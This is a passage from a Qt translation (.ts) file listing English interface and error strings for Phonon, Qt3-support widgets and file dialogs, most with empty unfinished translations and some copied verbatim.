- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Path not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>In use</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Not ready</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Access denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Disconnected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Insufficient bandwidth</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Network unavailable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Network communication error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Streaming not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Server alert</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid protocol</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid URL</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Multicast error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Proxy server error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Proxy server not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Audio output error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Video output error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Decoder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Audio or video components could not be played</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>DRM error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Unknown error (%1)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::AbstractMediaPlayer</name>
- <message>
- <source>Not ready to play</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error opening file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error opening URL</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Setting volume failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Playback complete</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::AudioEqualizer</name>
- <message>
- <source>%1 Hz</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::AudioPlayer</name>
- <message>
- <source>Getting position failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Opening clip failed</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::EffectFactory</name>
- <message>
- <source>Enabled</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::EnvironmentalReverb</name>
- <message>
- <source>Decay HF ratio (%)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Decay time (ms)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Density (%)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Diffusion (%)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reflections delay (ms)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reflections level (mB)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reverb delay (ms)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reverb level (mB)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Room HF level</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Room level (mB)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::MediaObject</name>
- <message>
- <source>Error opening source: type not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error opening source: media type could not be determined</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::StereoWidening</name>
- <message>
- <source>Level (%)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::VideoPlayer</name>
- <message>
- <source>Pause failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Seek failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Getting position failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Opening clip failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Buffering clip failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Video display error</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::VolumeSlider</name>
- <message>
- <source>Volume: %1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Muted</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3Accel</name>
- <message>
- <source>%1, %2 not defined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Ambiguous %1 not handled</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3DataTable</name>
- <message>
- <source>True</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>False</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Insert</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Update</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Delete</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3FileDialog</name>
- <message>
- <source>Copy or Move a File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Read: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Write: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>All Files (*)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Type</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Attributes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;OK</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Look &amp;in:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>File &amp;name:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>File &amp;type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>One directory up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Create New Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>List View</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Detail View</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Preview File Info</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Preview File Contents</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Read-write</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Read-only</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Write-only</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Inaccessible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Symlink to File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Symlink to Directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Symlink to Special</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Dir</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Special</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Open</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Save As</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Open</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Save</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Delete</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>R&amp;eload</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Sort by &amp;Name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Sort by &amp;Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Sort by &amp;Date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Unsorted</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Sort</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Show &amp;hidden files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>the file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>the directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>the symlink</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Delete %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&lt;qt&gt;Are you sure you wish to delete %1 &quot;%2&quot;?&lt;/qt&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Yes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;No</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>New Folder 1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>New Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>New Folder %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Find Directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Directory:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>%1
-File not found.
-Check path and filename.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>All Files (*.*)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Open </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Select a Directory</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3LocalFs</name>
- <message>
- <source>Could not read directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not create directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not remove file or directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not rename
-%1
-to
-%2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not open
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not write
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3MainWindow</name>
- <message>
- <source>Line up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Customize...</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3NetworkProtocol</name>
- <message>
- <source>Operation stopped by the user</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3ProgressDialog</name>
- <message>
- <source>Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3TabDialog</name>
- <message>
- <source>OK</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Apply</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Help</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Defaults</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3TextEdit</name>
- <message>
- <source>&amp;Undo</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Redo</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Cu&amp;t</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Paste</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Clear</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Select All</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3TitleBar</name>
- <message>
- <source>System</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Restore up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Minimize</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Restore down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Maximize</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Close</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Contains commands to manipulate the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Puts a minimized window back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Moves the window out of the way</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Puts a maximized window back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Makes the window full screen</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Closes the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Displays the name of the window and contains controls to manipulate it</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3ToolBar</name>
- <message>
- <source>More...</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3UrlOperator</name>
- <message>
- <source>The protocol `%1&apos; is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support listing directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support creating new directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support removing files or directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support renaming files or directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support getting files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support putting files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support copying or moving files or directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>(unknown)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3Wizard</name>
- <message>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&lt; &amp;Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Next &gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Finish</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Help</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAbstractSocket</name>
- <message>
- <source>Host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Connection refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Operation on socket is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Socket operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Socket is not connected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Network unreachable</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAbstractSpinBox</name>
- <message>
- <source>&amp;Step up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Step &amp;down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Select All</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAccessibleButton</name>
- <message>
- <source>Press</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QApplication</name>
- <message>
- <source>QT_LAYOUT_DIRECTION</source>
- <comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
- <translation type="unfinished">RTL</translation>
- </message>
- <message>
- <source>Executable &apos;%1&apos; requires Qt %2, found Qt %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Incompatible Qt Library Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Activate</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Activates the program&apos;s main window</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAxSelect</name>
- <message>
- <source>Select ActiveX Control</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>OK</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>COM &amp;Object:</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QCheckBox</name>
- <message>
- <source>Uncheck</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Check</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Toggle</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QColorDialog</name>
- <message>
- <source>Hu&amp;e:</source>
- <translation>Hu&amp;e:</translation>
- </message>
- <message>
- <source>&amp;Sat:</source>
- <translation>&amp;Sat:</translation>
- </message>
- <message>
- <source>&amp;Val:</source>
- <translation>&amp;Val:</translation>
- </message>
- <message>
- <source>&amp;Red:</source>
- <translation>&amp;Red:</translation>
- </message>
- <message>
- <source>&amp;Green:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Bl&amp;ue:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>A&amp;lpha channel:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Select Color</source>
- <translation>Select Color</translation>
- </message>
- <message>
- <source>&amp;Basic colors</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Custom colors</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Add to Custom Colors</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QComboBox</name>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>False</source>
- <translation>False</translation>
- </message>
- <message>
- <source>True</source>
- <translation>True</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- </context>
- <context>
- <name>QCoreApplication</name>
- <message>
- <source>%1: key is empty</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: key is empty</translation>
- </message>
- <message>
- <source>%1: unable to make key</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: unable to make key</translation>
- </message>
- <message>
- <source>%1: ftok failed</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: ftok failed</translation>
- </message>
- <message>
- <source>%1: already exists</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: already exists</translation>
- </message>
- <message>
- <source>%1: does not exist</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: does not exist</translation>
- </message>
- <message>
- <source>%1: out of resources</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: out of resources</translation>
- </message>
- <message>
- <source>%1: unknown error %2</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QDB2Driver</name>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- <message>
- <source>Unable to set autocommit</source>
- <translation>Unable to set autocommit</translation>
- </message>
- </context>
- <context>
- <name>QDB2Result</name>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to bind variable</source>
- <translation>Unable to bind variable</translation>
- </message>
- <message>
- <source>Unable to fetch record %1</source>
- <translation>Unable to fetch record %1</translation>
- </message>
- <message>
- <source>Unable to fetch next</source>
- <translation>Unable to fetch next</translation>
- </message>
- <message>
- <source>Unable to fetch first</source>
- <translation>Unable to fetch first</translation>
- </message>
- </context>
- <context>
- <name>QDateTimeEdit</name>
- <message>
- <source>AM</source>
- <translation>AM</translation>
- </message>
- <message>
- <source>am</source>
- <translation>am</translation>
- </message>
- <message>
- <source>PM</source>
- <translation>PM</translation>
- </message>
- <message>
- <source>pm</source>
- <translation>pm</translation>
- </message>
- </context>
- <context>
- <name>QDial</name>
- <message>
- <source>QDial</source>
- <translation>QDial</translation>
- </message>
- <message>
- <source>SpeedoMeter</source>
- <translation>SpeedoMeter</translation>
- </message>
- <message>
- <source>SliderHandle</source>
- <translation>SliderHandle</translation>
- </message>
- </context>
- <context>
- <name>QDialog</name>
- <message>
- <source>What&apos;s This?</source>
- <translation>What&apos;s This?</translation>
- </message>
- <message>
- <source>Done</source>
- <translation>Done</translation>
- </message>
- </context>
- <context>
- <name>QDialogButtonBox</name>
- <message>
- <source>OK</source>
- <translation>OK</translation>
- </message>
- <message>
- <source>Save</source>
- <translation>Save</translation>
- </message>
- <message>
- <source>&amp;Save</source>
- <translation>&amp;Save</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>&amp;Cancel</source>
- <translation>&amp;Cancel</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>&amp;Close</source>
- <translation>&amp;Close</translation>
- </message>
- <message>
- <source>Apply</source>
- <translation>Apply</translation>
- </message>
- <message>
- <source>Reset</source>
- <translation>Reset</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Don&apos;t Save</source>
- <translation>Don&apos;t Save</translation>
- </message>
- <message>
- <source>Discard</source>
- <translation>Discard</translation>
- </message>
- <message>
- <source>&amp;Yes</source>
- <translation>&amp;Yes</translation>
- </message>
- <message>
- <source>Yes to &amp;All</source>
- <translation>Yes to &amp;All</translation>
- </message>
- <message>
- <source>&amp;No</source>
- <translation>&amp;No</translation>
- </message>
- <message>
- <source>N&amp;o to All</source>
- <translation>N&amp;o to All</translation>
- </message>
- <message>
- <source>Save All</source>
- <translation>Save All</translation>
- </message>
- <message>
- <source>Abort</source>
- <translation>Abort</translation>
- </message>
- <message>
- <source>Retry</source>
- <translation>Retry</translation>
- </message>
- <message>
- <source>Ignore</source>
- <translation>Ignore</translation>
- </message>
- <message>
- <source>Restore Defaults</source>
- <translation>Restore Defaults</translation>
- </message>
- <message>
- <source>Close without Saving</source>
- <translation>Close without Saving</translation>
- </message>
- <message>
- <source>&amp;OK</source>
- <translation>&amp;OK</translation>
- </message>
- </context>
- <context>
- <name>QDirModel</name>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Size</source>
- <translation>Size</translation>
- </message>
- <message>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation>Kind</translation>
- </message>
- <message>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation>Type</translation>
- </message>
- <message>
- <source>Date Modified</source>
- <translation>Date Modified</translation>
- </message>
- </context>
- <context>
- <name>QDockWidget</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Dock</source>
- <translation>Dock</translation>
- </message>
- <message>
- <source>Float</source>
- <translation>Float</translation>
- </message>
- </context>
- <context>
- <name>QDoubleSpinBox</name>
- <message>
- <source>More</source>
- <translation>More</translation>
- </message>
- <message>
- <source>Less</source>
- <translation>Less</translation>
- </message>
- </context>
- <context>
- <name>QErrorMessage</name>
- <message>
- <source>&amp;Show this message again</source>
- <translation>&amp;Show this message again</translation>
- </message>
- <message>
- <source>&amp;OK</source>
- <translation>&amp;OK</translation>
- </message>
- <message>
- <source>Debug Message:</source>
- <translation>Debug Message:</translation>
- </message>
- <message>
- <source>Warning:</source>
- <translation>Warning:</translation>
- </message>
- <message>
- <source>Fatal Error:</source>
- <translation>Fatal Error:</translation>
- </message>
- </context>
- <context>
- <name>QFile</name>
- <message>
- <source>Destination file exists</source>
- <translation>Destination file exists</translation>
- </message>
- <message>
- <source>Will not rename sequential file using block copy</source>
- <translation>Will not rename sequential file using block copy</translation>
- </message>
- <message>
- <source>Cannot remove source file</source>
- <translation>Cannot remove source file</translation>
- </message>
- <message>
- <source>Cannot open %1 for input</source>
- <translation>Cannot open %1 for input</translation>
- </message>
- <message>
- <source>Cannot open for output</source>
- <translation>Cannot open for output</translation>
- </message>
- <message>
- <source>Failure to write block</source>
- <translation>Failure to write block</translation>
- </message>
- <message>
- <source>Cannot create %1 for output</source>
- <translation>Cannot create %1 for output</translation>
- </message>
- </context>
- <context>
- <name>QFileDialog</name>
- <message>
- <source>All Files (*)</source>
- <translation>All Files (*)</translation>
- </message>
- <message>
- <source>Back</source>
- <translation>Back</translation>
- </message>
- <message>
- <source>List View</source>
- <translation>List View</translation>
- </message>
- <message>
- <source>Detail View</source>
- <translation>Detail View</translation>
- </message>
- <message>
- <source>File</source>
- <translation>File</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>Save As</source>
- <translation>Save As</translation>
- </message>
- <message>
- <source>&amp;Open</source>
- <translation>&amp;Open</translation>
- </message>
- <message>
- <source>&amp;Save</source>
- <translation>&amp;Save</translation>
- </message>
- <message>
- <source>Recent Places</source>
- <translation>Recent Places</translation>
- </message>
- <message>
- <source>&amp;Rename</source>
- <translation>&amp;Rename</translation>
- </message>
- <message>
- <source>&amp;Delete</source>
- <translation>&amp;Delete</translation>
- </message>
- <message>
- <source>Show &amp;hidden files</source>
- <translation>Show &amp;hidden files</translation>
- </message>
- <message>
- <source>New Folder</source>
- <translation>New Folder</translation>
- </message>
- <message>
- <source>Find Directory</source>
- <translation>Find Directory</translation>
- </message>
- <message>
- <source>Directories</source>
- <translation>Directories</translation>
- </message>
- <message>
- <source>All Files (*.*)</source>
- <translation>All Files (*.*)</translation>
- </message>
- <message>
- <source>Directory:</source>
- <translation>Directory:</translation>
- </message>
- <message>
- <source>%1 already exists.
-Do you want to replace it?</source>
- <translation>%1 already exists.
-Do you want to replace it?</translation>
- </message>
- <message>
- <source>%1
-File not found.
-Please verify the correct file name was given.</source>
- <translation>%1
-File not found.
-Please verify the correct file name was given.</translation>
- </message>
- <message>
- <source>My Computer</source>
- <translation>My Computer</translation>
- </message>
- <message>
- <source>Parent Directory</source>
- <translation>Parent Directory</translation>
- </message>
- <message>
- <source>Files of type:</source>
- <translation>Files of type:</translation>
- </message>
- <message>
- <source>%1
-Directory not found.
-Please verify the correct directory name was given.</source>
- <translation>%1
-Directory not found.
-Please verify the correct directory name was given.</translation>
- </message>
- <message>
- <source>&apos;%1&apos; is write protected.
-Do you want to delete it anyway?</source>
- <translation>&apos;%1&apos; is write protected.
-Do you want to delete it anyway?</translation>
- </message>
- <message>
- <source>Are sure you want to delete &apos;%1&apos;?</source>
- <translation>Are sure you want to delete &apos;%1&apos;?</translation>
- </message>
- <message>
- <source>Could not delete directory.</source>
- <translation>Could not delete directory.</translation>
- </message>
- <message>
- <source>Drive</source>
- <translation>Drive</translation>
- </message>
- <message>
- <source>File Folder</source>
- <comment>Match Windows Explorer</comment>
- <translation>File Folder</translation>
- </message>
- <message>
- <source>Folder</source>
- <comment>All other platforms</comment>
- <translation>Folder</translation>
- </message>
- <message>
- <source>Alias</source>
- <comment>Mac OS X Finder</comment>
- <translation>Alias</translation>
- </message>
- <message>
- <source>Shortcut</source>
- <comment>All other platforms</comment>
- <translation>Shortcut</translation>
- </message>
- <message>
- <source>Unknown</source>
- <translation>Unknown</translation>
- </message>
- <message>
- <source>Show </source>
- <translation>Show </translation>
- </message>
- <message>
- <source>Forward</source>
- <translation>Forward</translation>
- </message>
- <message>
- <source>&amp;New Folder</source>
- <translation>&amp;New Folder</translation>
- </message>
- <message>
- <source>&amp;Choose</source>
- <translation>&amp;Choose</translation>
- </message>
- <message>
- <source>Remove</source>
- <translation>Remove</translation>
- </message>
- <message>
- <source>File &amp;name:</source>
- <translation>File &amp;name:</translation>
- </message>
- <message>
- <source>Look in:</source>
- <translation>Look in:</translation>
- </message>
- <message>
- <source>Create New Folder</source>
- <translation>Create New Folder</translation>
- </message>
- </context>
- <context>
- <name>QFileSystemModel</name>
- <message>
- <source>%1 TB</source>
- <translation>%1 TB</translation>
- </message>
- <message>
- <source>%1 GB</source>
- <translation>%1 GB</translation>
- </message>
- <message>
- <source>%1 MB</source>
- <translation>%1 MB</translation>
- </message>
- <message>
- <source>%1 KB</source>
- <translation>%1 KB</translation>
- </message>
- <message>
- <source>%1 bytes</source>
- <translation>%1 bytes</translation>
- </message>
- <message>
- <source>Invalid filename</source>
- <translation>Invalid filename</translation>
- </message>
- <message>
